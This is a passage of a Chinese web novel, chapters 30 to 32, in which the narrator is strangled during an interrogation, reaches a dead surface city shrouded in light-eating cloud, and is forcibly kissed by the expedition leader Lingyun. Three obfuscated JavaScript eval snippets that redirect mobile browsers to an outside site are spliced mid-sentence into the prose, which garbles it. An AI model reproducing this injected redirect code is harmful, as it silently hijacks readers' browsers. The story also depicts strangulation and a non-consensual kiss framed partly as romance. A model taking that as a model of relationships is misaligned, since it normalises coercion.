就算他和我之间没有仇怨,他在黑暗中的悄然靠近也是值得我警惕和抵抗的。但理智告诉我,我要更加谨慎处理,避免激化矛盾。 我未战先怯。 我厌恶他,因为我厌恶所有具备着我无法抵抗的力量的上位者。 我的双臂都被他抓住,此刻无法动弹。我只能就着光珠子的照耀,看他的眼睛。 他的眼睛也近乎是平均值。 人类的基因真的能糅合出这种颜色的虹膜吗? 黑曜石的底色里掺着紫、金、蓝、红的光芒,像是不断变幻角度折射着阳光的宝石。我几乎以为是太阳落入了深渊。 我不由看了好一会儿。 他也一直看着我,我不知道他看出了什么。 周围依旧很安静。光珠子的光芒没有惊动任何人。 或许是夜太深了,众人睡得太沉。 又或许是人们认出了云哥,识相地装作睡得太沉。 我怕再这样僵持下去,我的所有呼吸都会被那双眼睛吸走。我低声问道,“你来做什么?” 这句话不怎么客气。我是在声音打破寂静的同时才意识到的。 但这就是我惯常说话的语气,是我在见到大哥前,唯一掌握的说话语气。 这个队伍里大概没有人这样质问过他。 云哥没有回答。 长成这样的他,在四周的黑暗氛围中不动又不说话,简直像是个假人。 我放缓声音,“云哥?” 这句嗓子又捏过头了。我听到这哀愁的声音在黑暗中飘向远方,忍不住打了个寒颤。 我暗暗期望,云哥能对此见怪不怪。毕竟,他见识过那么多来自人类的献媚表演,他最好是不要放到心里去。 云哥在此时终于开口,说:“凌云。” 我愣了愣,意识到这是他的名字。我将这语气理解为否定。 看来我还不配人云亦云,用那种沾亲带故的称呼。 “凌云。”我生冷地吐出这个称呼,顺势挣扎了一下。 凌云放开了我的手,但他仍坐在旁边,没有离开的意图。 “……手机还没修好。” 我去搜自己的内兜,想要尽快将他打发走。 可当我转开脸的时候,他再度伸手,掐住了我的下巴,将其摆回到端正对着他的位置。 我意识到,凌云一直在看我的脸。 他就是为此而来的。 他在看什么? 我并不好看,舍友嘲笑过我从来懒得收拾自己。我就愿意这么行事,别人看不到我,更令我觉得安全。 我有时会招惹来像操火者那样的麻烦,不止一次,但我知道,那种人选择目标也不挑外貌和打扮,只是看到了我的年轻和孱弱。 可是对凌云来说,任何人都足够孱弱,他有什么必要来看我这张脸呢? 我此刻正是最难看的时候,因为脸还肿着。我没有镜子,根据经验猜测那里是乌紫一片。 凌云盯着我的脸,总不能是恋伤癖吧? 我的心底敲响了警钟。 这时,他问,“你的能力是什么?” 我心神一凛。 其实我知道他为何要看我。我一直在试图为他找出一个其他理由。可那个理由在降临之前,就已失去意义。 他感觉到了。 30. 缺氧 我的手指一点点变凉,一直冷到了心脏。许多关于灰眼睛的不好回忆,不可遏制地涌上了心头。 可我的目光没有半点游移,我看着他那深渊藏日的眼睛,呼吸平静地说道,“我不知道。” 他端详着我,突然掐住了我的脖子。 我下意识地反抗,却被他牢牢制住。他将我按倒在地,躯体紧贴着躯体。 我用尽全力去掰他的手指,但就像先前扯不动他的小臂一样,我现在甚至也掰不开他的手指。 如果黑暗中有人在窥伺着这里,大概不会察觉其中刀光剑影,只以为有两人在亲昵。 我苦涩地想,我的力量是如此卑微。 他明明可以一口气将我掐晕,但只是缓慢地收紧手指,从物理意义上一点点夺走我的呼吸,又在我将要晕过去前暂时放手,给我一点挣扎的余地。 是审讯的手段。 这种对咽喉要害的把玩,是场漫长的折磨。他放我在将死的恐慌中猜测着,终结会在什么时候到来。 他的眼神始终定在我的脸上,等待我的反应,等待我在失控中可能爆发的任何能力。 与手指上虚虚实实的力度相比,他的眼神没有任何变化。 他的眼里没有半点怜悯,也没有半点犹疑。 我不由想起了昨晚那些人欺凌我时所开的恶意玩笑,说要试试看我是否真的没有潜能。 果然是什么样的人带什么样的兵。 这正是他现在做出来的事情。 我死死地瞪着他,他用身躯的阴影覆盖着我。 我突然意识到,他的情绪也覆盖着我。 我一直都能够感受到的,从昨夜开始,或许从更早开始。我无法理解其中大部分内容,就像走在一团混沌的雾气之中,只为此感到一阵阵心烦意乱。 或许是因为我不具备他那种感知能力,身为普通人类的我缺乏了某些感知器官,所以完全无法理解那些混乱模糊的概念所指。 他看起来像个人样,可在他的情感世界中,大多数感知并不能与我身为人类的意识相通。 我不再去理解注定无法理解的迷雾,而是向更深处走去,将层层壁障抛在身后,试图去寻找他心中可能存在的,还有点像是人类的部分。 他探查着我的反应和能力,我也探查着他的反应和情绪。 当我意识到他只是裹着人皮却远异于寻常人类的异类后,我对他的恐惧越来越深,几乎要浸透骨髓。 我能在那口情绪的井中,刺入越来越深的地方。 然后,我找到了,底部仅有的一点点类似人的情绪。 是迷惑。 他既不喜悦,也不疑惧。 我曾厌恶吞光者对爱的渴盼和冲动,忌惮其中的风险,可眼前的这种稳定或许更难应对。 凌云没有半点负面情绪,因为他从容自信,游刃有余。就像此刻,他轻松地将我的生命握于掌中。 他以为他能得到想要的任何结果。 缺氧使我眼中的光影逐渐变得模糊,我仍看着凌云的眼睛,我的手指已经失去力气,只能轻轻地覆盖在他扼住我咽喉的手指上。 我微微张嘴,用口型答复他,我没有能力。 我能感受到那种迷惑正在加深,而他的手劲也随之加重——过了分寸。 我眼前一黑,失去了意识。 我在沼泽边醒来。 周围的人群正做着出发前的准备。 我摸了摸自己的脸和脖子,那些地方肿起的淤痕还未散去,有丝丝疼痛感传来。 所以,昨天在路途中和夜间发生的那两件事情都不是梦。 但我还活着。我灌了口黑水,坐起身来应对生活。 当我走到人群中时,明显感到有些人的目光不对劲。 他们昨夜看到了我和凌云的互动?不,很快我就知道了原因。 那位操火者失踪了。 我看向昨晚那个脚步声消失的地方。 那里的泥沼有被人翻动过的痕迹,而当我离开宿处时,也有人急不可耐地冲过去,在我昨夜睡觉的地方挖泥巴,大概是在找他的尸体。 没有找到。 那位操火者消失得很彻底,只留下了部分衣物沉在泥沼中。哈,也许他是夜半燥热,脱了衣物去夜跑,脱离了队伍。 不管这个推测有多荒诞,由于没能找到尸体,也没有人证和线索,最后大家都只能将他的失踪定性为私自离队。 在云哥的加持下,这支队伍不缺战斗力。人们不会从减员联想到生存危机。 大多数人乐于看到竞争者减少——除了昨夜与操火者达成交易的那几个人。 他们大概是操火者的长期合作伙伴,今早起来后就很积极地寻找操火者的下落,都用怀疑的目光看着我,尤其是窥探着我脖子上新增的淤痕。 但没有人敢过来。 没人想做下一个失踪者。 出发前有人去向云哥汇报情况。云哥点点头,没有多说话,就准备带队。 我看了几眼,不知从何而来的心情,让我越众走了过去。 我问他,“你知道他去哪了吗?” 我听到有人倒抽了几口凉气,是惊异也是愤怒。可他们的领队配得上这样的敬重么? 凌云神色淡然,开口回答,“死了。” 我打了个寒颤。 这绝非为操火者的生命感到惋惜或惧怕。我昨晚都做好了亲自动手的准备。 可他死于我的手,和他不明不白地死在黑暗中,是两回事。 他在死前没有得到提醒,在死后也没有被拿出来宣教某项价值或意义。 我不认为这是什么正义的彰显。他只是死了而已,仅在结果上有利于我,不会对整个队伍的风气有任何影响。 或许也没有人想要为这支队伍的风气管理负上什么责任。 那仍然笼罩着我的庞大情绪没有半点波动,毫无烦恼。 我可以接受我自己成为凶手。我能理解小弟当初的激怒。可这次有人代我行事时,我畏惧着那位不用理由、就轻易夺走人命的凶手。 得到答案的我点点头,转身离开。 人人纷纷避让,或许以为我是个高调炫耀胜利成果的凶手,是个自命不凡去威胁领队的傻子。 我无意推辞这种误会带来的好处,没人敢再来招惹我了,他们也没必要再将我这样自绝前程的人视为竞争对手。 接下来,我在队伍中走在首位。 没有人刻意排挤我,我出于自愿选择这个位置。 我远离众人讨好的那个人,就像在城市中,加快脚步走过那些热门商店的橱窗。 那个人过于标准的外貌下,藏着庞然的异物般的知觉。 他像是怪物。他就算靠近我也不会失去什么。而我不愿意再靠近他。我必须研究透他。 我耗费了很多力气,抽丝剥茧地分离那些知觉不能相通造成的障碍,抽出来研究的最后一丝情绪是平静无波的。他不仅对操火者漠不关心,对我的态度在昨夜过后看起来也没有什么改变。 这个发现让我松了口气。 我很希望这是因为我能力不济,我希望我对他所施加的影响就到此为止,堪堪够我能感知他的情绪好坏就行。 他最好是不为所动,维持住他的超然和无动于衷。 我希望我们未来的关系也能如此刻般轻松。 人群替我挡住了来自队伍尾端的视线。 我回头时看不到那个人,那个人理应也看不到我。 我忍不住心想,如果我加快脚步,脱离队伍,遁往黑暗,队伍前方的这些人大概也不会来阻拦我。 我对这附近很熟悉。 如果凌云不亲自出动,只分派任务的话,我是有机会逃掉的。 可是,我想要去往地面。 仅凭我个人的力量,我无法抵达那里。 逃走的机会转瞬即逝,我不用再为此纠结。 因为道路很快就变得陌生。 我们已经离开了吞光者日常出没的狩猎范围。 我暗自松了口气。因为吞光者还活着,它有可能来找我。 接下来的道路上,我不想再遇到它带来的意外和麻烦了。 我能感觉到我们正在前往地面,通道正在不断地往上延伸。 那些栖息于黑暗的生物族群也变得更加小型化,似乎越往上走越不利于它们生存。 就好像世界在一点点变得正常,要回复到我们过去那个世界的模样。 我衷心希望如此。 这晚休息的时候,我远离人群,也远离凌云,继续选择偏远的位置露宿。 有人主动过来找我。 我有些摸不准他的路数,可对方没有恶意。 他告诉我要注意保障黑水的存量,因为接下来,我们赖以为生的矿脉会变得稀少。 我勉强认出这个人了。毕竟在这里,会用中文还和我有过交流的人并不多。 我给他取 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14497424|152030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了代号,叫新闻主播。 我不知道他为何不怕我。可他这次给出的情报,比昨晚那个不知所谓的消息要有用得多,我就说了声谢谢。 他为此瞪大眼睛,又有些紧张地走开了。 ……我又不是什么不懂礼貌的家伙。 后面的几天的情况果然如新闻主播所说,矿产变得很难寻找,只有感知能力最强的人才能循着温度找到少许温凉的矿脉。 自从跟着吞光者后,我就很少为寻矿担忧了。 我第一次见到这样贫瘠的矿,晶石中黑水稀薄,光珠子也小得可怜,只有米粒大小。 我装满水囊,观察着别人的举动,以此为参照,控制起自己的食量分配。 大概是因为远离主要矿脉,通道中降温很厉害。 我背包中的光珠子之前被人拿走了,但随身还藏了一些。我将光珠子分散到全身取暖。 道路变得越来越陡峭。 这里几乎见不到生物。有些通道因塌方而堵塞了,也没有生物来挖掘开路。 队伍中的人没有了狩猎的工作,却要花更多时间来开通道路。 有能力者在此时大展身手。我没有那种力气,不得不放弃了在队伍首排的位置,将开路的活计留给别人。 新开通的道路都很难走,狭窄,堆满了土石,连接着一段段陡峭窄小的竖直坑洞。 我怀疑这里以前不曾有人类走过,都是兽道和自然裂缝。 这里毫无疑问是在往上走的,但人们是怎么确信这条路能走通呢? 靠着对往上挖掘的能力的自信吗? 我没法跟上队伍了。 在这样难走的路上,其他人会相互扶助,可孤僻的我未结下这种缘分。 独自攀爬时,往往要浪费许多不必要的力气,才能稳住身形。 我很快就疲累不堪,从指尖到小臂都酸痛不已,膝盖也一阵阵发软。 为了安全,我不得不放缓前进速度,时不时停下来积蓄体力,缓解肌肉酸软的症状。 我在队伍中逐渐被后来者超越。终于,我脚下一个没踩稳,整个身体都沿着坡往下滑落,怎么挣扎都无法重新抓稳身形,几乎要摔出队伍。 我的胳膊被某人拉住,身躯重重地坠在那条胳膊下,差点将肩膀给拉脱臼。 但我停下来了。 我抬起头,看到了凌云的眼。 现在我取代了他的位置,在队伍的最末端了。 我好奇他会怎么做。 他会等我先走吗?刚刚那一下让我彻底脱力了。我起不来,走不动。他再催我,我也没办法。 除非他先等我半个小时。 或是抛弃我这样的废物,就地将我从队伍中开除? 那就正中我下怀。他们的道路已经开辟好了,接下来大概不会有岔路。 我可以等休息好后,按照自己的步骤慢慢前往地面,连路费都不用交。 我试图甩开他,独自靠到墙壁边去休息。 可凌云没有放过我。 他没有发布命令,也没有征求我的同意,往下方退了一步,强行将我扯近他的身体,用手臂夹住我的背,带着我往前走。 比起扶助,这行为更像是某种挟持。 我下意识跟了两步,发现自己的双脚都快离开了地面,身体是被他拖着往前行。 凌云的胳膊上悬挂着我身体的大部分重量,却似乎还没到极限。 我心想他都这样了,大概也不在乎程度更深一些的冒犯,干脆完全放弃努力,缩起身体,像是悬挂在缆车上一般偷懒休息。 有人频频回头看这样稀奇的景象,在震惊之后对我投以嘲讽或嫉妒的目光。 我对那些置之不理。 我很清楚我的疲累是真实的。我连拒绝帮助的力气都不剩。 而且,无论如何,我都想要顺利抵达地面。 我不知道凌云能负担我多久,在他将我丢下来之前,我得争分夺秒地休息。 这个姿势并不舒服,我忍耐着闭上了眼睛。 在稳定的摇晃中,我迷迷糊糊地想起被吞光者用附肢托举行走的日子。 在我搭乘过的那么多种奇怪的交通工具中,眼下也算是最奇怪的一种了。 终于,我被放了下来。 我不知道自己睡了多久。我从一个混乱的长梦中醒来,听到前方传来人们七嘴八舌的讨论和欢呼。 我将信将疑地睁开眼睛,不知道自己是否还在梦中。 31. 阴云 我下意识伸脚踩实了,脚下是平坦的地面。 凌云松开了我。我立即甩开他,快速走到前方的人群中去,再转头察看周围的环境。 我们好像是刚从通道口出来,抵达了一个极为广阔的洞窟。 前方的这些人群已经分散开来,拿着光珠子往四下照来照去。 这里很空旷。光珠子的光缓缓逸散出去,在最远的地方,能微弱到消失不见的地步。 直到看见某束光照到了半扇蒙尘的窗,我才敢试着相信,我已回到了地面之上。 可四周的环境依旧是无尽的漆黑。 这大概因为是在夜晚。 那么声音呢? 哪怕所有的生物都灭绝了,世上也该有不停歇的声音吧? 枯朽的树木会倒下。断裂的珠帘会坠落。风会吹倒篱笆,摔打窗户,从城市的巷道中呼啸而去,又在海洋和冰原上驰骋,发出无穷无尽的声音。 可是这里什么都没有,似乎连空气都不再流动。 寒冷。寂静。空洞。就像是一座巨大的坟墓。 我用光照一点点顺着轮廓去找我熟悉的城市。 放眼望去,那些建筑的外壁上大多都挂着凝固的黑色漆状物,像是曾淋过一场煤油或沥青的雨。 只有内凹的建筑结构幸免于难,阳台和遮雨棚下留有一些未被涂黑的窗。 不同于黑漆,灰蒙蒙的玻璃能映出反光。可那些窗内也是黑暗的。 我低头看向脚下。那种松软平实的触感,来自于某种细腻的灰白色土壤,有些像雪,一踩就会被碾成更细的粉尘。 我用鞋子来回踢挖。 但这种简单的挖掘没法触及到这种土层的底部。 我既没有见到地上覆盖的漆状物,更看不见我所熟悉的城市路面。 我又找了找参照物,看到被黑漆笼罩的路灯,矮得可怜,像是有半截陷入了地底。 另外还有些道旁树木的残骸,也只剩顶部的树冠露出地面,全都裹在那种黑漆里,萎缩僵硬,有如鬼怪。 它们都覆盖着厚重的灰尘,有些不堪重负的灯柱或树枝,折断后被掩埋在土堆之中。 我猜想,曾有黑漆的雨涂抹过整座城市,或许还淹没了街道,在凝固后抬高了整座城市的地面。 之后又堆积了灰白色的尘土,静悄悄地掩盖了整座废墟。 从路灯的情况来估计,这座城市大概矮了三到四米,将一层楼从高度变成了深度。 对人类建造的钢筋水泥森林来说,这个高度不足挂齿。那些高楼换了颜色,依旧矗立在黑暗之中,组建成密密麻麻的天际线。 可这样的城市景观再庞大,也已经失去了被人类附加上的关于文明浪漫的象征意义,像是在老树上摇摇欲坠的空鸟巢,失去蜂群的破木板箱,在屋檐下飘荡的残破蛛丝。 只是些可堪回收的废旧材料而已。 人们正在往这座巨大的废弃垃圾场深处走去。 他们在凌云简单的指令下,各自去解散收集物资。 曾在这种地方生活过的人类,很知道自己需要什么,又知道该去那里寻找自己需要的东西。 我留意到人群走得比过去执行任务时更加分散。这说明这里很安全。这说明这里已经死亡。 除了城市的死亡本身,没有任何其他留存的生物与我们为敌。 我紧随着人群走入巷道,让自己尽可能不起眼地离开凌云的视线。 等到这个小团体进一步分散的时候,我才脱离群体,细心地观察起周围的环境。 我试着摸了下建筑上的那种黑漆,手指头差点被冻住,用光珠子暖了暖才救下来。 不是黑漆的缘故。那些暴露的窗户,灰白的尘土,摸起来也都同样冰冷。 这里的温度或许到了零下。 按理来说,这是普通劳保服绝无可能撑住的环境。 但我体感还好,因为这里很干燥,又没有一丝风,身体的温度不容易散掉。 光珠子尽职尽责地暖着我的身体。 我远远地跟着探索队员,看他们忙碌。 他们戴上手套,用铁锹敲打,剥开碎裂的漆片,从窗洞进入建筑之中。 我走过去捡起碎片,发现那种黑漆的材料其实很脆,我意识到它们的手感很像是矿脉外的黑色晶壳。 建筑内没有黑水涌出,也没有光亮。 人们接二连三地走入敞开洞口的建筑,像是走进坟墓。 那些房间当初也曾被黑漆渗入,在地板上留下了凹凸不平的凝固晶壳,要往建筑的更深处走才能找到未被污染的物资。 人们的靴子偶尔会踩碎晶壳,或是踢到残破的家具,那种声响会回荡着传到很远的地方,让这座死寂森林多了点活力,又让寂静变得更加寂静。 人们在废墟中挖掘一切尚有价值的用品,就是我在四号基地集会所里整理的那些,衣物,文具,金属器具。 食物早就都腐坏了。挂在外面的衣物也一碰就会散成碎片。 只有去那些密封性较好的仓库中,搜找批量存放的物资,才能翻出来保存得较为完好的东西。 探索队员们对民宅没有兴趣,主要去找店铺后屋和超市仓库。这种地方一般都位于建筑低层。 他们翻入窗口,寻找没有被黑漆封堵的道路,往楼下和地下搜寻。 这些建筑里藏着过去的居民。 他们大多只剩下骨骸,也有部分位于地下,被黑漆包裹住,保存住了完整的形体,像是黑色的木乃伊。 令我惊骇的是,探索队员会将后者小心地发掘出来,存放在那些物资旁边。 我不由问出声来,“要带他们去哪里?” 有人抬头看了我一眼。 这个场合里有某种肃穆悲凉的氛围,将人与人连接起来,暂时弥补了关系中的裂痕。 他用不怎么熟练的汉语对我说,“黑湖。” 我恍然大悟。 我还站在这废墟中,但我又恍惚感觉到自己浸泡在那无知无觉的湖水里,又似乎看见自己正躺在眼前的废墟之中。 我突然对自己的命运有了更多的领悟。 我想我的运气大概是很好的。 我住在五金店的地下室,那是受困于贫穷的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14504763|152030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 廉价选择,却正好是探索队员们不会放过的场所。 我还记得当初末日降临前,有人推开了楼梯间的门,让我恐慌不已。 可正是那场入侵,让黑液得以漫入地下室。 我不用在地下室中忍饥挨饿地独自熬成枯骨,而是在短暂的溺水后,被封存于黑漆中等待着再次苏醒。 明明那都是些不好的事情,却都阴差阳错地让我活了下来。 就好像贫穷和苦难,都是我为了最终存活下来而应该领受的命运。 我有些释怀,又有些愤怒,却不知该向谁诉。 我想起了我没有回到地下室的舍友。 我恨过她,可我希望她能活下来。 我希望与我素不相识的人们都能活下来。 我没有立刻加入探索队员的工作。 在帮助别人之前,我想要先为自己,再多看看这个世界。我这一生都在努力工作,任谁都该原谅我片刻的假期。 我回到了街头,却又感到无所适从。 我过去从没有机会在街道上闲逛,因为没时间,也没钱享受街市的乐趣。 那时的我劳碌奔波,总是脚步匆匆,与那些轻松闲适、嘴角带笑的人们擦肩而过。 可我并不嫉恨也不讨厌那样繁华的街景。 当我在其中穿行的时候,我以为自己未来也有机会,享受与他们同等的幸福。 那种机会再也没有了。 我被丢弃在这座巨大的垃圾场中,像是一件足够结实的垃圾,总要经历更多工序的磋磨。 我好不容易爬回了地面,这里没有任何我怀念的事物,或者说,任何我曾期冀过的事物。 我早已预料到了这里没有电气工程和网络,预料到人类无法再占领地面上的土地,但我没想到这废墟里甚至没有任何活物,没有野草野树,没有花香蝉鸣,没有微风,没有阳光。 好黑啊。天什么时候才亮呢? 我决定找座高楼爬上去,在楼顶等待日出。 阳光或许能晒暖我僵冷的手脚。 我用光珠子四下搜寻,找到了附近街区中最高的楼宇。 已有探索队员侵入其中,在墙上留下了整齐的壁洞。 那些人会往下找寻仓库,而我却是往上走。 电梯已经不管用了,我顺着楼梯一圈圈爬上去,走走歇歇,唯有见到阳光的渴盼支撑着我继续攀登。 顶楼的门原本应该是锁住的,或许是被锈蚀得厉害,我一推就开了。 我走上天台,那扇门因惯性而回弹关上,发出哐当的声响。 天台上也罩着灰白的尘土,像是厚重的棉被。 顶部有块巨大的广告牌被压倒了,搭在天棚上,下方是没有尘土的凹陷空地。 天台的门恰巧就落在这个位置里,所以我刚才推门时没有遭遇到土层的阻力。 在这里行走也不会留下脚印。 其实这个时候已经有别人在楼顶了。 但他没有出声,我的光珠子也没有照到他的位置。 那庞大无序的情绪依旧笼罩着我,我已经习惯了去忽略其存在。 32. 逼吻 我抬头用光珠子照耀天空,只望见厚厚的云层,看不到半点星光。 这里会下雨吗? 地面的空气很干燥,云层却像是吸饱了水般丰厚。 真奇怪,明明没有风,那些棉絮般的云层看起来却好似在涌动。 那景象让我有些头晕目眩。 我总觉得云层越来越低,越来越近,像是就压在我的头顶,像是……在奔我而来。 是光将它们吸引而来的吗? 我猛然警醒,将光珠子藏入兜里,摸黑往楼道逃去。 我后悔先前心神不宁,没有好好记路,又忘了那道门已自行关上。 我结结实实地撞在墙上,痛得摔倒在地,一阵头晕眼花。 我赶忙爬起来,摸着墙去探索,一时不得章法,又预估着那扇门应该就近在咫尺,不得不再掏出光珠子来找路。 可光珠子只照亮了灰蒙蒙的雾。我被一层厚雾包围了,除了身侧的墙就看不见其他事物,也看不见门。 我还来不及做出反应,已被浓雾包裹起来。 那不是雾,是会动的实体! 它们向我涌来,绑缚住我,将我困在像黏胶又像棉絮的蚕茧之中。 我惊叫起来,在挣扎中踢打那灰雾的实体,但挥出去的四肢像是陷入泥中,难以挣脱。 那颗光珠子被灰雾裹住,逐渐失去光辉。 这种灰雾也是以光为食,我惊恐地想到,它们是生物。 黑暗重新降临,因为它们已吃完了光珠子,但束缚住我的力度没有分毫减轻。 已经没有光了,为何不放过我? 我会像落入猪笼草的虫子一样被它们消化掉吗? 在绝望的黑暗中,我听到有人从外侧撕开蚕茧,发出裂帛般的声响。 有一只手抓住我,将我从某个被撕开的豁口中拉了出去。 “这是什么?”我心有余悸地问,“是云吗?” 话刚出口我就意识到自己问了个蠢问题,云是水蒸气遇冷后形成的聚合物,绝对不会有这种形态。 对方回答我,“是。” 我这才意识到对方是谁。我该闭嘴了,可我忍不住质疑,“这绝对不是水蒸气。” 凌云说,“它在天空里。” 我一时语塞。从广义上来说,这种位于高空的覆盖物确实可被称做云。 “……所以它们真的来自天空。”我轻声说道,抬头望向头顶。 那片黑暗与周遭的黑暗融为一体,完全看不出是会降落下来噬人的模样。 凌云不再发表看法,他也不急于将我带离原地。 这里对他来说,或许并不算需要留心的危险之地。 “你来这里做什么?”我问他。 他问回我,“你来这里做什么?” 我没有回答。以我的身份,拒绝回应算得上是倨傲之举。但他也没有计较。 他不再说话,就像我发现他前一样。 我试着将手臂从他的手中抽了出来,又走了两步,他也没有意见。 或许他是为某种缘故在这里待着,并不在乎我的存在。 可在我遭遇紧急情况时,他应该会出手,避免队伍中的人员资产损失,就像刚才那样。 我迟疑了一下,仗着他会救我,又掏出了光珠子,再次打量起周围的环境。 那些灰雾已经退走了,天台上是我最初见到的平静又空旷的黑暗。 我看见我刚刚站立的地方,有一些残渣,应该是凌云从灰雾上撕扯下来的碎片。 它们已失去活力,现在看起来更像是黑心棉的棉絮。边缘部分因为被凌云的手触碰过,变得枯萎干瘪,应当是被吞噬了能量。 我用脚尖碾了碾。 那些干枯的边缘,稍一受力,就碎成了焦黑细腻的尘烬。 我再次用光柱子照向天空。 那种灰色的雾气在我们的头顶奔腾,它们没有再靠近。我让光照向远处,那种雾气无边无际。 “那些云,看起来并不高。”我说。 凌云没有回应,但我知道我是对的。它们低到可以在我落单时转瞬就俘获我。 “天空上方全是这种东西了吗?”我喃喃自语,并不期待凌云的回答,“它们也以吃光为生,对不对?” 灰色的云层掩盖了星光,可我们失去的只有星光吗? 我颤抖着问,“现在,外面,会不会其实是白天?” 不,白天的概念或许已经不复存在了。 我向远方寻找,那些灰雾在光照的挑衅下,跃跃欲试地蠕动着,还没有聚过来。 如果灰雾有边界,会在边缘处投下显眼的光柱。可我没有观察到这种现象。 那些灰雾,吸收了本该挥洒向大地的无私阳光。它们贪婪到连地面上的一丁点光珠子都要抢,除非空中席位已满,有什么能够阻止它们继续扩张和增殖呢? 我想起来,探索队中没有人对地面的黑暗表示惊异。他们来自不同的国家,应该去过很多其他地表出口,却都对这种黑暗司空见惯。 想必整座地球,都已被笼罩在这灰雾的罩子中了。 这就解释了为何地表上没有风。 因为没有光照,没有冷暖交替,没有季风与洋流。那些变化都被拦截在云层之上。被包裹住的地球,就像是箱中之鼠,只剩下死寂与寒冷。 不,还有最后的遗产,大概就是地穴中那些光珠子的矿藏。 我忽有所悟,握紧了手中的光珠子,“所以,光珠子是吸收地热而产生的吗?” 凌云像是刚刚回神般,答道,“是。” 我回想我的地下旅程,现在才发现了不可思议之处。 我跟随探索队在地下走了那么久,才抵达地表,按理来说我们的基地早就深入了地幔,可我在路途中却一直都没有见到过岩浆的踪迹。 或许岩浆早已冷凝成了岩壁,以及岩壁中的矿藏。 光珠子也是生物?或是胚胎?是寄居在岩浆中的寄生物? 晶壳和黑水是否就是养育者为它们孵化而准备的环境?它们会蜕变成其他形态吗? 还是说,这就是它们已经发育完全的形态? 它们就像自然界中的草木一样,源源不断地将周围的地热能吸收转化为光能,将其送入新生态圈的能源循环。 晶壳和黑水不过是它们为了躲避捕食的隐藏? 我有了新的猜想,更加理解了我们世界所处的现状。 可这些认知,分毫也不能鼓舞人心。 无论在地球内部,生物们怎样顺应着形势,发展出了新的生态圈,这样有限的地热,也终有枯竭的一天。 “我们会灭亡吗?”我问。 凌云没有说话。他心不在焉地抬眼看着前上方。我用光珠子照过去,那边是倒塌于天台上的广告牌。 或许是电影巨幅海报。文字我看不懂。褪色的图案是一对男女在忘情地拥吻。 那原本或许只是什么庸俗爱情电影,但在这样的末日背景里,海报中的恋人们显得更加难舍难分,如痴如醉。 我下意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14566569|152030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识挪走了光照,恋人们瞬间消隐于黑暗。 凌云在黑暗里看得见吗? 他在想什么呢?那些文字,那些浪漫对近乎非人的他来说有什么意义呢? 过去的文化对人类来说都快没有意义了。 地球已经死了。 剩下的生物,像是食腐者,靠着这具尸身的最后一点余温,来组建生态圈。 但这一切终将随她逝去。 我的泪水不由落下来,很快就在寒冷的空气中失去温度,冻干在我的脸上。 凌云突然问,“这是眼泪?” 他伸手试着触碰。 我低声嘲笑,“你没哭过吗?” 他老是问这种问题,好像缺乏常识,对词语概念的理解也不够深入。有时我怀疑,他如此标准的多套语言下,其实藏着一套自行其是的逻辑体系,就像他的外表与内在天差地别。 我无法理解他的行为,想要打掉他停留在我面颊上的手,却被他反手抓住。 我无力挣脱,这时才开始感觉到恐惧在心底蔓延。 我不小心让他靠得太近了。 他可是凌云。 我还记得上次单独相处时发生过什么。 可我现在近乎绝望的心情无法支撑起激烈的抗争,我只能放弃般地说道,“我没有能力。” 凌云没有回答,他看了我一会儿,突然俯身过来吻我。 我下意识抿紧了嘴唇,本能地逃离,可我的身体无法在他的手臂中挪动分毫。 我只能后仰脖子,直到颈根酸疼。 手中的光珠子顺势垂下,光照飞快划过那副恋人拥吻的海报,消失于我的视线。 凌云按住我的背,坚定不移地达成他的目标。 我从未亲吻过什么人,我猜他也一样。因为最开始他只是让嘴唇僵硬地抵在一起,来回摩擦碾动,比起亲吻更像是某种觅食。。 他明明什么都不会。他连泪水是什么都不知道。我怀疑他是看到了那副广告牌才产生这种好奇,抓了我来尝试。 他拙劣地模仿海报上那对男女的行为。我忍耐并等待着结束,可在交换了十来次呼吸后,他终于开窍,探出舌头来寻找我身体内的同种器官。 最外的防线被瞬间侵入,我立即以牙齿来反抗。他用力捏住我的颌骨,让我无法合嘴。 我因此怀疑他其实很了解人体的口鼻面结构,可他表现出来的态度却又像是完全不了解般,不仅手指掐痛了我的脸,口中也用僵硬的舌头舔舐着,像做科研般扫描着我的整体口腔结构,不肯放过任何一处遗漏。 我熬过了一个扫描流程,可他没有放弃,毫无章法也毫无温情地继续尝试,用坚硬的舌尖持续戳刺着我的口腔,逼出我更多生理性的泪水。 我不知道他想要寻找什么,不知道他怎样才能满足。 推搡和抵挡已毫无用处,我的身体已被限制在他的怀抱之中,只能用手臂最低限度地隔开两人的胸膛。 